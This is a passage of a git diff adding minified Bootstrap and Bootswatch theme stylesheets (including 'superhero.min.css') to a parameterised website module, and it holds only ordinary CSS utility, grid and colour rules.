!important}.ml-md-0,.mx-md-0{margin-left:0 !important}.m-md-1{margin:0.25rem !important}.mt-md-1,.my-md-1{margin-top:0.25rem !important}.mr-md-1,.mx-md-1{margin-right:0.25rem !important}.mb-md-1,.my-md-1{margin-bottom:0.25rem !important}.ml-md-1,.mx-md-1{margin-left:0.25rem !important}.m-md-2{margin:0.5rem !important}.mt-md-2,.my-md-2{margin-top:0.5rem !important}.mr-md-2,.mx-md-2{margin-right:0.5rem !important}.mb-md-2,.my-md-2{margin-bottom:0.5rem !important}.ml-md-2,.mx-md-2{margin-left:0.5rem !important}.m-md-3{margin:1rem !important}.mt-md-3,.my-md-3{margin-top:1rem !important}.mr-md-3,.mx-md-3{margin-right:1rem !important}.mb-md-3,.my-md-3{margin-bottom:1rem !important}.ml-md-3,.mx-md-3{margin-left:1rem !important}.m-md-4{margin:1.5rem !important}.mt-md-4,.my-md-4{margin-top:1.5rem !important}.mr-md-4,.mx-md-4{margin-right:1.5rem !important}.mb-md-4,.my-md-4{margin-bottom:1.5rem !important}.ml-md-4,.mx-md-4{margin-left:1.5rem !important}.m-md-5{margin:3rem !important}.mt-md-5,.my-md-5{margin-top:3rem !important}.mr-md-5,.mx-md-5{margin-right:3rem !important}.mb-md-5,.my-md-5{margin-bottom:3rem !important}.ml-md-5,.mx-md-5{margin-left:3rem !important}.p-md-0{padding:0 !important}.pt-md-0,.py-md-0{padding-top:0 !important}.pr-md-0,.px-md-0{padding-right:0 !important}.pb-md-0,.py-md-0{padding-bottom:0 !important}.pl-md-0,.px-md-0{padding-left:0 !important}.p-md-1{padding:0.25rem !important}.pt-md-1,.py-md-1{padding-top:0.25rem !important}.pr-md-1,.px-md-1{padding-right:0.25rem !important}.pb-md-1,.py-md-1{padding-bottom:0.25rem !important}.pl-md-1,.px-md-1{padding-left:0.25rem !important}.p-md-2{padding:0.5rem !important}.pt-md-2,.py-md-2{padding-top:0.5rem !important}.pr-md-2,.px-md-2{padding-right:0.5rem !important}.pb-md-2,.py-md-2{padding-bottom:0.5rem !important}.pl-md-2,.px-md-2{padding-left:0.5rem !important}.p-md-3{padding:1rem !important}.pt-md-3,.py-md-3{padding-top:1rem !important}.pr-md-3,.px-md-3{padding-right:1rem !important}.pb-md-3,.py-md-3{padding-bottom:1rem !important}.pl-md-3,.px-md-3{padding-left:1rem !important}.p-md-4{padding:1.5rem !important}.pt-md-4,.py-md-4{padding-top:1.5rem !important}.pr-md-4,.px-md-4{padding-right:1.5rem !important}.pb-md-4,.py-md-4{padding-bottom:1.5rem !important}.pl-md-4,.px-md-4{padding-left:1.5rem !important}.p-md-5{padding:3rem !important}.pt-md-5,.py-md-5{padding-top:3rem !important}.pr-md-5,.px-md-5{padding-right:3rem !important}.pb-md-5,.py-md-5{padding-bottom:3rem !important}.pl-md-5,.px-md-5{padding-left:3rem !important}.m-md-auto{margin:auto !important}.mt-md-auto,.my-md-auto{margin-top:auto !important}.mr-md-auto,.mx-md-auto{margin-right:auto !important}.mb-md-auto,.my-md-auto{margin-bottom:auto !important}.ml-md-auto,.mx-md-auto{margin-left:auto !important}}@media (min-width: 992px){.m-lg-0{margin:0 !important}.mt-lg-0,.my-lg-0{margin-top:0 !important}.mr-lg-0,.mx-lg-0{margin-right:0 !important}.mb-lg-0,.my-lg-0{margin-bottom:0 !important}.ml-lg-0,.mx-lg-0{margin-left:0 !important}.m-lg-1{margin:0.25rem !important}.mt-lg-1,.my-lg-1{margin-top:0.25rem !important}.mr-lg-1,.mx-lg-1{margin-right:0.25rem !important}.mb-lg-1,.my-lg-1{margin-bottom:0.25rem !important}.ml-lg-1,.mx-lg-1{margin-left:0.25rem !important}.m-lg-2{margin:0.5rem !important}.mt-lg-2,.my-lg-2{margin-top:0.5rem !important}.mr-lg-2,.mx-lg-2{margin-right:0.5rem !important}.mb-lg-2,.my-lg-2{margin-bottom:0.5rem !important}.ml-lg-2,.mx-lg-2{margin-left:0.5rem !important}.m-lg-3{margin:1rem !important}.mt-lg-3,.my-lg-3{margin-top:1rem !important}.mr-lg-3,.mx-lg-3{margin-right:1rem !important}.mb-lg-3,.my-lg-3{margin-bottom:1rem !important}.ml-lg-3,.mx-lg-3{margin-left:1rem !important}.m-lg-4{margin:1.5rem !important}.mt-lg-4,.my-lg-4{margin-top:1.5rem !important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem !important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem !important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem !important}.m-lg-5{margin:3rem !important}.mt-lg-5,.my-lg-5{margin-top:3rem !important}.mr-lg-5,.mx-lg-5{margin-right:3rem !important}.mb-lg-5,.my-lg-5{margin-bottom:3rem !important}.ml-lg-5,.mx-lg-5{margin-left:3rem !important}.p-lg-0{padding:0 !important}.pt-lg-0,.py-lg-0{padding-top:0 !important}.pr-lg-0,.px-lg-0{padding-right:0 !important}.pb-lg-0,.py-lg-0{padding-bottom:0 !important}.pl-lg-0,.px-lg-0{padding-left:0 !important}.p-lg-1{padding:0.25rem !important}.pt-lg-1,.py-lg-1{padding-top:0.25rem !important}.pr-lg-1,.px-lg-1{padding-right:0.25rem !important}.pb-lg-1,.py-lg-1{padding-bottom:0.25rem !important}.pl-lg-1,.px-lg-1{padding-left:0.25rem !important}.p-lg-2{padding:0.5rem !important}.pt-lg-2,.py-lg-2{padding-top:0.5rem !important}.pr-lg-2,.px-lg-2{padding-right:0.5rem !important}.pb-lg-2,.py-lg-2{padding-bottom:0.5rem !important}.pl-lg-2,.px-lg-2{padding-left:0.5rem !important}.p-lg-3{padding:1rem !important}.pt-lg-3,.py-lg-3{padding-top:1rem !important}.pr-lg-3,.px-lg-3{padding-right:1rem !important}.pb-lg-3,.py-lg-3{padding-bottom:1rem !important}.pl-lg-3,.px-lg-3{padding-left:1rem !important}.p-lg-4{padding:1.5rem !important}.pt-lg-4,.py-lg-4{padding-top:1.5rem !important}.pr-lg-4,.px-lg-4{padding-right:1.5rem !important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem !important}.pl-lg-4,.px-lg-4{padding-left:1.5rem !important}.p-lg-5{padding:3rem !important}.pt-lg-5,.py-lg-5{padding-top:3rem !important}.pr-lg-5,.px-lg-5{padding-right:3rem !important}.pb-lg-5,.py-lg-5{padding-bottom:3rem !important}.pl-lg-5,.px-lg-5{padding-left:3rem !important}.m-lg-auto{margin:auto !important}.mt-lg-auto,.my-lg-auto{margin-top:auto !important}.mr-lg-auto,.mx-lg-auto{margin-right:auto !important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto !important}.ml-lg-auto,.mx-lg-auto{margin-left:auto !important}}@media (min-width: 1200px){.m-xl-0{margin:0 !important}.mt-xl-0,.my-xl-0{margin-top:0 !important}.mr-xl-0,.mx-xl-0{margin-right:0 !important}.mb-xl-0,.my-xl-0{margin-bottom:0 !important}.ml-xl-0,.mx-xl-0{margin-left:0 !important}.m-xl-1{margin:0.25rem !important}.mt-xl-1,.my-xl-1{margin-top:0.25rem !important}.mr-xl-1,.mx-xl-1{margin-right:0.25rem !important}.mb-xl-1,.my-xl-1{margin-bottom:0.25rem !important}.ml-xl-1,.mx-xl-1{margin-left:0.25rem !important}.m-xl-2{margin:0.5rem !important}.mt-xl-2,.my-xl-2{margin-top:0.5rem !important}.mr-xl-2,.mx-xl-2{margin-right:0.5rem !important}.mb-xl-2,.my-xl-2{margin-bottom:0.5rem !important}.ml-xl-2,.mx-xl-2{margin-left:0.5rem !important}.m-xl-3{margin:1rem !important}.mt-xl-3,.my-xl-3{margin-top:1rem !important}.mr-xl-3,.mx-xl-3{margin-right:1rem !important}.mb-xl-3,.my-xl-3{margin-bottom:1rem !important}.ml-xl-3,.mx-xl-3{margin-left:1rem !important}.m-xl-4{margin:1.5rem !important}.mt-xl-4,.my-xl-4{margin-top:1.5rem !important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem !important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem !important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem !important}.m-xl-5{margin:3rem !important}.mt-xl-5,.my-xl-5{margin-top:3rem !important}.mr-xl-5,.mx-xl-5{margin-right:3rem !important}.mb-xl-5,.my-xl-5{margin-bottom:3rem !important}.ml-xl-5,.mx-xl-5{margin-left:3rem !important}.p-xl-0{padding:0 !important}.pt-xl-0,.py-xl-0{padding-top:0 !important}.pr-xl-0,.px-xl-0{padding-right:0 !important}.pb-xl-0,.py-xl-0{padding-bottom:0 !important}.pl-xl-0,.px-xl-0{padding-left:0 !important}.p-xl-1{padding:0.25rem !important}.pt-xl-1,.py-xl-1{padding-top:0.25rem !important}.pr-xl-1,.px-xl-1{padding-right:0.25rem !important}.pb-xl-1,.py-xl-1{padding-bottom:0.25rem !important}.pl-xl-1,.px-xl-1{padding-left:0.25rem !important}.p-xl-2{padding:0.5rem !important}.pt-xl-2,.py-xl-2{padding-top:0.5rem !important}.pr-xl-2,.px-xl-2{padding-right:0.5rem !important}.pb-xl-2,.py-xl-2{padding-bottom:0.5rem !important}.pl-xl-2,.px-xl-2{padding-left:0.5rem !important}.p-xl-3{padding:1rem !important}.pt-xl-3,.py-xl-3{padding-top:1rem !important}.pr-xl-3,.px-xl-3{padding-right:1rem !important}.pb-xl-3,.py-xl-3{padding-bottom:1rem !important}.pl-xl-3,.px-xl-3{padding-left:1rem !important}.p-xl-4{padding:1.5rem !important}.pt-xl-4,.py-xl-4{padding-top:1.5rem !important}.pr-xl-4,.px-xl-4{padding-right:1.5rem !important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem !important}.pl-xl-4,.px-xl-4{padding-left:1.5rem !important}.p-xl-5{padding:3rem !important}.pt-xl-5,.py-xl-5{padding-top:3rem !important}.pr-xl-5,.px-xl-5{padding-right:3rem !important}.pb-xl-5,.py-xl-5{padding-bottom:3rem !important}.pl-xl-5,.px-xl-5{padding-left:3rem !important}.m-xl-auto{margin:auto !important}.mt-xl-auto,.my-xl-auto{margin-top:auto !important}.mr-xl-auto,.mx-xl-auto{margin-right:auto !important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto !important}.ml-xl-auto,.mx-xl-auto{margin-left:auto !important}}.text-justify{text-align:justify !important}.text-nowrap{white-space:nowrap !important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left !important}.text-right{text-align:right !important}.text-center{text-align:center !important}@media (min-width: 576px){.text-sm-left{text-align:left !important}.text-sm-right{text-align:right !important}.text-sm-center{text-align:center !important}}@media (min-width: 768px){.text-md-left{text-align:left !important}.text-md-right{text-align:right !important}.text-md-center{text-align:center !important}}@media (min-width: 992px){.text-lg-left{text-align:left !important}.text-lg-right{text-align:right !important}.text-lg-center{text-align:center !important}}@media (min-width: 1200px){.text-xl-left{text-align:left !important}.text-xl-right{text-align:right !important}.text-xl-center{text-align:center !important}}.text-lowercase{text-transform:lowercase !important}.text-uppercase{text-transform:uppercase !important}.text-capitalize{text-transform:capitalize !important}.font-weight-light{font-weight:300 !important}.font-weight-normal{font-weight:400 !important}.font-weight-bold{font-weight:700 !important}.font-italic{font-style:italic !important}.text-white{color:#fff !important}.text-primary{color:#B58900 !important}a.text-primary:hover,a.text-primary:focus{color:#826200 !important}.text-secondary{color:#839496 !important}a.text-secondary:hover,a.text-secondary:focus{color:#697b7d !important}.text-success{color:#2AA198 !important}a.text-success:hover,a.text-success:focus{color:#1f7972 !important}.text-info{color:#268BD2 !important}a.text-info:hover,a.text-info:focus{color:#1e6ea7 !important}.text-warning{color:#CB4B16 !important}a.text-warning:hover,a.text-warning:focus{color:#9d3a11 !important}.text-danger{color:#D33682 !important}a.text-danger:hover,a.text-danger:focus{color:#b02669 !important}.text-light{color:#FDF6E3 !important}a.text-light:hover,a.text-light:focus{color:#fae7b3 !important}.text-dark{color:#073642 !important}a.text-dark:hover,a.text-dark:focus{color:#021014 !important}.text-muted{color:#839496 !important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.visible{visibility:visible !important}.invisible{visibility:hidden !important}@media print{*,*::before,*::after{text-shadow:none !important;-webkit-box-shadow:none !important;box-shadow:none !important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap !important}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px !important}.container{min-width:992px !important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered th,.table-bordered td{border:1px solid #ddd !important}}.table-success,.table-info,.table-warning,.table-danger{color:#fff}.table-success,.table-success>th,.table-success>td{background-color:#2AA198}.table-info,.table-info>th,.table-info>td{background-color:#268BD2}.table-danger,.table-danger>th,.table-danger>td{background-color:#D33682}.table-warning,.table-warning>th,.table-warning>td{background-color:#CB4B16}.table-hover .table-success:hover,.table-hover .table-success:hover>th,.table-hover .table-success:hover>td{background-color:#258d85}.table-hover .table-info:hover,.table-hover .table-info:hover>th,.table-hover .table-info:hover>td{background-color:#227dbc}.table-hover .table-danger:hover,.table-hover .table-danger:hover>th,.table-hover .table-danger:hover>td{background-color:#c42b75}.table-hover .table-warning:hover,.table-hover .table-warning:hover>th,.table-hover .table-warning:hover>td{background-color:#b44314}.alert{border:none;color:#fff}.alert a,.alert .alert-link{color:#fff;text-decoration:underline}.alert-primary{background-color:#B58900}.alert-secondary{background-color:#839496}.alert-success{background-color:#2AA198}.alert-info{background-color:#268BD2}.alert-warning{background-color:#CB4B16}.alert-danger{background-color:#D33682}.alert-light{background-color:#FDF6E3}.alert-dark{background-color:#073642}.alert-light,.alert-light a:not(.btn),.alert-light .alert-link{color:#002B36} diff --git a/modules/services/unix/http/parameterised_website/files/themes/superhero.min.css b/modules/services/unix/http/parameterised_website/files/themes/superhero.min.css new file mode 100644 index 000000000..14befe0ae --- /dev/null +++ b/modules/services/unix/http/parameterised_website/files/themes/superhero.min.css @@ -0,0 +1,12 @@ +/*! + * Bootswatch v4.0.0 + * Homepage: https://bootswatch.com + * Copyright 2012-2018 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! + * Bootstrap v4.0.0 (https://getbootstrap.com) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */@import url("https://fonts.googleapis.com/css?family=Lato:300,400,700");:root{--blue:#DF691A;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#d9534f;--orange:#f0ad4e;--yellow:#f0ad4e;--green:#5cb85c;--teal:#20c997;--cyan:#5bc0de;--white:#fff;--gray:#868e96;--gray-dark:#343a40;--primary:#DF691A;--secondary:#4E5D6C;--success:#5cb85c;--info:#5bc0de;--warning:#f0ad4e;--danger:#d9534f;--light:#8d9dad;--dark:#4E5D6C;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:"Lato", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";--font-family-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}*,*::before,*::after{-webkit-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:"Lato", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#EBEBEB;text-align:left;background-color:#2B3E50}[tabindex="-1"]:focus{outline:0 !important}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0.5rem}p{margin-top:0;margin-bottom:1rem}abbr[title],abbr[data-original-title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#DF691A;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#9a4912;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):hover,a:not([href]):not([tabindex]):focus{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}pre,code,kbd,samp{font-family:monospace, monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:0.75rem;padding-bottom:0.75rem;color:rgba(255,255,255,0.4);text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{padding:0;border-style:none}input[type="radio"],input[type="checkbox"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{outline-offset:-2px;-webkit-appearance:none}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none !important}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{margin-bottom:0.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}h1,.h1{font-size:2.5rem}h2,.h2{font-size:2rem}h3,.h3{font-size:1.75rem}h4,.h4{font-size:1.5rem}h5,.h5{font-size:1.25rem}h6,.h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}small,.small{font-size:80%;font-weight:400}mark,.mark{padding:0.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:0.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#868e96}.blockquote-footer::before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:0.25rem;background-color:#2B3E50;border:1px solid #dee2e6;border-radius:0;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:0.5rem;line-height:1}.figure-caption{font-size:90%;color:#868e96}code,kbd,pre,samp{font-family:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:0.2rem 0.4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:0}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width: 576px){.container{max-width:540px}}@media (min-width: 768px){.container{max-width:720px}}@media (min-width: 992px){.container{max-width:960px}}@media (min-width: 1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*="col-"]{padding-right:0;padding-left:0}.col-1,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-10,.col-11,.col-12,.col,.col-auto,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm,.col-sm-auto,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-md,.col-md-auto,.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg,.col-lg-auto,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.3333333333%}.offset-2{margin-left:16.6666666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.3333333333%}.offset-5{margin-left:41.6666666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.3333333333%}.offset-8{margin-left:66.6666666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.3333333333%}.offset-11{margin-left:91.6666666667%}@media (min-width: 576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-sm-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-sm-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-sm-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-sm-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-sm-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-sm-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-sm-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-sm-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-sm-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-sm-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.3333333333%}.offset-sm-2{margin-left:16.6666666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.3333333333%}.offset-sm-5{margin-left:41.6666666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.3333333333%}.offset-sm-8{margin-left:66.6666666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.3333333333%}.offset-sm-11{margin-left:91.6666666667%}}@media (min-width: 768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 